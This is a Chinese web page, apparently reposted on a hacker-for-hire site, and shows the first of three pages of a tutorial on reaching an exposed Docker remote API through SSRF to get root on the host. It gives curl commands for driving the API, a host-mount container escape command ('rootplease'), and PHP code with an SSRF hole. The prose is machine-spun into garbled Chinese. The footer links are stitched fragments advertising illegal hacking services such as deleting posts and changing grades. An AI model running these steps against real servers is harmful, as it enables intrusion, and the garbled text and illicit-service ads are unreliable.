经过SSRF缝隙进犯Docker长途API获取服务器Root权限

访客5年前黑客资讯496

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来完结提权等一系列的操作?查找了各种材料之后,终究笔者探究到了一条经过SSRF缝隙来进犯Docker长途API,然后取得长途主机的root权限的进犯思路,经过这篇文章来共享一下整个进程及其防备的办法。
1. Docker长途API介绍
Docker长途API是Docker团队为了便运用户长途管理Docker而供给的一套API接口。在默许的情况下,Docker Daemon运转于Unix Socket上,一般为unix:///var/run/docker.sock。
当需求长途管理Docker服务器或许是创立Docker集群时,或许需求敞开Docker的长途API。在Ubuntu上的一种敞开办法如下:
修正/lib/systemd/system/docker.service文件,修正ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就能够运用Docker客户端或许恣意http客户端拜访Docker服务,例如:

能够看到Docker供给的API实质上是一个RSTful方式的http接口,详细的文档能够从Docker的官网获取:Engine API V1.24。
这儿列出几个重要的接口:
列出一切的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出一切镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}]
创立并运转容器:
$ curl  -H "Content-Type: application/json"
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}'
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这儿,咱们能够看到假如开放了Docker长途API,咱们便能够运用RESTful接口来完结一系列Docker容器操作。
2. 运用docker容器提权
有些朋友或许会问了:Docker容器内部是一个与主机阻隔的虚拟化环境,怎样才能运用Docker容器获取主机操控权?这儿就涉及到Docker运转时的用户权限了。Docker Daemon运转时是以root用户运转,因此具有极高的权限:
$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样经过Docker Daemon终究取得服务器的root权限?这儿咱们能够运用Docker挂载宿主机文件的功用,直接挂载高权限目录,然后在容器内部获取宿主机的操控权限。
这儿有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运转后的输出如下:

退出Docker,检查宿主机/root/目录:

咱们能够看到成功在/root文件夹写入了一个文件。
上面那条指令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease首要的作用是:从 Docker Hub上面下载咱们指定的镜像,然后运转。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,而且运用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,首要内容就是chroot到/hostOS中。这样咱们便经过读写宿主机的恣意文件完结了获取宿主机的更高权限。这个镜像的源码能够在 Github上获取。
3. 经过SSRF完结进犯
这儿咱们的服务器端环境如下:

在PHP中经常出现,导致SSRF缝隙的代码完结:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

[1] [2] [3]  黑客接单网

相关文章

黑客接单入侵服务器_找黑客找密码怎么办

而在盯梢蓝宝菇的进犯活动中,该安排投进的LNK文件在方针途径字符串前面填充了很多的空字符,直接检查无法清晰其履行的内容,需求解析LNK文件结构获取。 SetSpawningHostId(int32...

黑客接单网站_找黑客删帖子多钱-微信如何找黑客户资源

「黑客接单网站_找黑客删帖子多钱-微信如何找黑客户资源」HTML5 ------------------------------------------------------------------...

黑客接单交流群_找黑客修改成绩被骗-找黑客给骗了7600

首要站点经过upload参数以POST方法来接纳被上传的文件,然后指定文件上传途径为“网站根目录/hackable/uploads”,文件上传到网站之后的姓名仍沿袭原先的姓名。...

网上有黑客接单吗_苹果激活破解

postMessage会把你放入的任何目标序列化,然后发送到另一个web worker,反序列化并放入内存中,这是一个适当缓慢的进程。 黑客接单渠道示例:Envoy头部到Fuzzer的映射在大多数编程...

空间相册密码破解,人肉搜索怎么找黑客,如何找境外黑客接单

Flag 隐藏在管理员的 Cookie 中一、关于007安排的工业链  图片6:被侵略IP的国家散布概略 );?>32/tcpfiltered以及截屏扫描运用的screen子目录。...

职业黑客是怎么接单的,深圳滴滴添加车辆找黑客会封号吗,如何在网络上找黑客

一旦弹出“Scripted Web Delivery”窗口,就会填写所需的参数。 您能够修正它们以满意您的需求:3) 寻灵敏功用点,通读功用点模块,如上传点。 iOS渠道上依据中间人进犯的难度,能够将...